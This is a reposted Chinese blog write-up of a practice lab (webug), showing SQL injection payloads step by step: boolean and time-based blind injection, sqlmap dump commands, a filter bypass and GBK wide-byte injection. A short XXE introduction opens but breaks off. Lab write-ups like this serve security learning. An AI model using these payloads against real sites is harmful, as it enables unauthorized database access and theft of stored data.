我是靠谱客的博主 干净乌冬面,最近开发中收集的这篇文章主要介绍webug笔记——注入,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

一、布尔注入

id=1‘’or 1=1–+
这里存在注入点
在这里插入图片描述
id=1’order by 3–+
利用order by判断字段
Order by 3的时候页面发生变化。
在这里插入图片描述
所以应该是有两个可以显示的地方。

利用left()函数判断数据库名,先判断数据库名长度

在这里插入图片描述
大于5的时候页面发生变化,说明数据库名长度应该是5.
id=1’ and left(database(),1)>‘w’–+
在这里插入图片描述
猜测出数据库名的第一个字符是w
在这里插入图片描述
前两个是we,这样逐步猜测出数据库名是webug.

查看当前数据库表

id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘webug’ limit 0,1),1,1))>100–+
在这里插入图片描述
大于100的时候页面发生变化,第一个字符是d
这样就爆出了webug库中的第一个表的第一个字符。判断第二个字符用就是修改为substr(***,2,1)
在这里插入图片描述
前两个字符就是da 这样逐步爆出表名
爆出webug下的表:data_crud,env_list,env_path,flag,sqlinjection,user,user_test
Flag不在flag表里面,要去爆env_list表
id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘env_list’ limit 0,1),1,1))>105%23
在这里插入图片描述
这样爆出所有的列名
env_list表里有:id,envName,envDesc,envIntegration,delFlag,envFlag,level,type
看看第一关的flag是不是在envFlag里面。
id=1’ and substr((select envFlag from env_list where id=1 limit 0,1),1,16)=‘dfafdasfafdsadfa’%23
在这里插入图片描述
页面无变化,说明正确,第一关的flag确实在里面。
那么通过 修改id=2 可以逐步爆出第二关的密码
在这里插入图片描述
然后通过修改substr(***,2,1)得到flag的第二个字符是d
后得出flag:fdsafsdfa

手工一点点做太麻烦了,可以用burp刷

在这里插入图片描述
在这里插入图片描述

在查询到几个表和表名长度后:
第一个表长9个字符
;2–8;3–8;4–4;5–12;6–4;7–9
爆破表名:
?id=1’ and (substr((select table_name from information_schema.tables
where table_schema=‘webug’ limit 0,1),1,1))=‘b’–+
在这里插入图片描述
第一个位置表示第几个表,第二个位置表示表名的第几个字段,第三个位置就是要匹配的字段。
在这里插入图片描述
得出第一个表名的第一个字母为d。
最后得出表名:
data_crud;env_list;env_path;flag;sqlinjection;user;user_test。
之后都类似

二、post注入

post注入是通过对输入框进行传参,可以被带入数据库进行的查询

注入的两个条件:
1.用户可以控制传参,
2.用户输入的语句被带入数据库进行查询
在这里插入图片描述
通过对输入框进行元素审查,发现请求类型是post类型
在输入框输入1’报错,1’#返回正常
在这里插入图片描述
说明页面可能存在注入点。
先随便提交一个东西,然后f12
在这里插入图片描述
在网络里面找到post,然后点开,在参数里面可以看到这个输入点是keyWordName。
在这里插入图片描述
输入1’页面报错,输入1’#页面正常。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
说明列数为2.通过对注入类型不断尝试,发现可以使用延时注入进行爆破。

  • 先进行数据库名长度的爆破:

keyWordName=1’ or if(length(database())>4,sleep(3),1)#有延时,通过修改大于号后面的数字判断出数据库名的长度为5

  • 判断数据库名称:

keyWordName=1’ or if(ascii(substr(database(),1,1))>97,sleep(3),1)#,有延时
逐步判断出数据库名的第一个字符为w
在这里插入图片描述
通过修改箭头部分来判断所有的数据库名。

  • 然后判断数据库里面表的个数:

keyWordName=1’ or if((select count(table_name)from information_schema.tables where table_schema=database())>6,sleep(3),1)#有延时,而>7没有延时。
判断出有7个表。

  • 判断每个表名的长度:

keyWordName=1’ or if(length(substr((select table_name from
information_schema.tables where table_schema=database() limit 0,1),1))>2,
sleep(5),1) #
判断出第一个表名的长度是9个字符
在这里插入图片描述
标记错了,应该是修改limit 0,1,limit i,1.这样能得出第i个表的长度
在这里插入图片描述
那么第6个表长度为4可能就是flag
在这里插入图片描述
第6个表的第一个字符是u,可能是user,不是flag表。

手工注入不下去了。。

  • 用sqlmap跑,先用burpsuite拦一下包

在这里插入图片描述

  • 把这个保存到txt,这里我放到了根目录下

在这里插入图片描述

  • Sqlmap -r ”~/a.txt” --dbs是爆出所有的数据库

在这里插入图片描述

  • Sqlmap -r “~/a.txt”-D webug --tables 爆出webug下所有的表

在这里插入图片描述

  • 接下来就要爆表中的数据了

sqlmap -r “a.txt” -D webug -T flag --columns
在这里插入图片描述

  • 获取flag列中的内容:

sqlmap -r a.txt -D webug -T flag -C “flag” --dump --batch
–batch就是自动默认之后你要选的选项。
在这里插入图片描述
看到结果应该是爆错了表,这应该是第一关的flag.那就继续爆别的表 env_list
在这里插入图片描述
好像爆出了所有的flag…
在这里插入图片描述

三、过滤注入

对select的大小写都屏蔽了。

在这里插入图片描述
但发现单独把select写出来才会被屏蔽,放在payload里面也并没有被屏蔽掉,此题过滤相当于无,注入方法和布尔注入一致。。

三、宽字节注入

参考链接

addslashes() 函数会对括号里 (’) 、(")、 ()、 (NULL)、的四个字符添加反斜杠并将其返回。
如果SQL输入经过了addslashes() 函数处理,我们输入’ 时 会变成 ’。一般绕过的方法有两种

  1. 将 ’ 前面的 斜杠 进行转义 ’ 这样单引号就能绕过,逃逸出来
  2. 想办法去掉前面的

Mysql有一个特性,在进行GBK编码时会将两个字符认为一个汉字(前提是第一个字符的ASCII大于128才能达到汉字范围)。
简单理解,数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入,常见的宽字节: GB2312、GBK、GB18030、BIG5、Shift_JIS

在网址后加%df’,(%df转为10进制是223,大于128)
在这里插入图片描述
单引号变成了’,的十六进制是%5c,程序的默认字符集如果是以上提到过的字符集,Mysql可能会认为%df%5c是一个宽字符,使得单引号逃逸出来了。
接下去的注入过程就是简单的显错注入的过程了。

数据库名

在这里插入图片描述
爆出数据库名:information_schema mysql performance_schema webug webug_sys webug_width_byte

表名

在这里插入图片描述
在table_schema这里直接用数据库名,会报错,因为识别不了,需要将其转换为十六进制形式,用bp 的decode板块就能实现。
在这里插入图片描述
表名:sqlinjection storage_xss

列名

爆sqlinjection 表
在这里插入图片描述
是空值,所以应该不在这个表中。通过看攻略,发现flag在webug库下的env_list表中
在这里插入图片描述
表里有 id,envName,envDesc,envIntegration,delFlag,envFlag,level,type
在这里插入图片描述
flag:dfsadfsadfas
现在才得出经验,所有的flag都在env_list表中,通过Id来获取。通过之前用sqlmap爆破注入也能看出来

四、xxe注入

xxe:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。
XML由3个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言;可扩展的样式语言(Extensible Style Language,XSL),即XML的样式表语言;以及可扩展链接语言(Extensible Link Language,XLL)

……

最后

以上就是干净乌冬面为你收集整理的webug笔记——注入的全部内容,希望文章能够帮你解决webug笔记——注入所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(29)

评论列表共有 0 条评论

立即
投稿
返回
顶部